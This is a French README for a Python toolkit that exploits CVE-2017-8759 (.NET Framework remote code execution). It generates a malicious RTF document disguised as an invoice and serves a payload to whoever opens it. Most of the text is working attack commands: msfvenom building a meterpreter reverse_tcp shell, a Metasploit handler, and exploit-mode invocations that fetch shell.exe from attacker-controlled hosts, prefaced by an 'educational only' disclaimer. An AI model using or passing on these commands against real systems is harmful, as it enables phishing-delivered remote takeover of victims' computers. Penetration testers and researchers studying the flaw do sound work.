Outil d'exploitation CVE-2017-8759

L'outil d'exploitation CVE-2017-8759 est un script Python pratique qui fournit aux pentesters et aux chercheurs en sécurité un moyen rapide et efficace de tester la RCE de Microsoft .NET Framework. Il peut générer un fichier RTF malveillant et distribuer une charge utile metasploit / meterpreter / autre à la victime sans configuration complexe.

Avertissement

Ce programme est destiné UNIQUEMENT à des fins éducatives. Ne l'utilisez pas sans autorisation. La clause de non-responsabilité habituelle s'applique, en particulier le fait que moi (bhdresh) ne suis pas responsable des dommages causés par l'utilisation directe ou indirecte des informations ou fonctionnalités fournies par ces programmes. L'auteur ou tout fournisseur d'accès Internet n'assume AUCUNE responsabilité quant au contenu ou à l'utilisation abusive de ces programmes ou de leurs dérivés. En utilisant ce programme, vous acceptez le fait que tout dommage (perte de données, crash système, compromission système, etc.) causé par l'utilisation de ces programmes n'est pas de la responsabilité de bhdresh.

Enfin, il s'agit d'un développement personnel, veuillez respecter sa philosophie et ne l'utilisez pas à mauvais escient !

Notes de version :

Capacités suivantes introduites dans le script

- Générer un fichier RTF malveillant
- Mode d'exploitation pour le fichier RTF généré

Version : Python version 2.7.13

Scénario : Distribuer une charge utile meterpreter locale

Exemples de commandes

1) Générer un fichier RTF malveillant
   # python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (Facultatif, si utilisation de MSF Payload) : Générer la charge utile metasploit et démarrer le handler
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Démarrer la toolkit en mode exploitation pour distribuer la charge utile locale
   # python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

Arguments de la ligne de commande :

# python cve-2017-8759_toolkit.py -h

Ceci est une toolkit pratique pour exploiter CVE-2017-8759 (Microsoft .NET Framework RCE)

Modes :

-M gen                                          Générer uniquement le fichier malveillant

     Générer un fichier RTF/PPSX malveillant :

      -w <Filename.rtf>                   Nom du fichier RTF malveillant (Partagez ce fichier avec la victime).

      -u <http://attacker.com/test.txt>   Chemin du fichier txt distant. Normalement, cela devrait être un domaine ou une IP où cette                                          toolkit s'exécute.
                                          Par exemple, http://attackerip.com/test.txt (Cette URL sera incluse dans le fichier RTF malveillant et sera demandée une fois que la victime ouvrira le fichier RTF malveillant.

				      
-M exp                                          Démarrer le mode exploitation

     Exploitation :
  
      -p <TCP port:Default 80>            Numéro de port local.

      -e <http://attacker.com/shell.exe>  Le chemin d'un fichier exécutable / shell meterpreter / charge utile qui doit être exécuté sur la cible.

      -l </tmp/shell.exe>                 Spécifiez le chemin local d'un fichier exécutable / shell meterpreter / charge utile.

CVE-2017-8759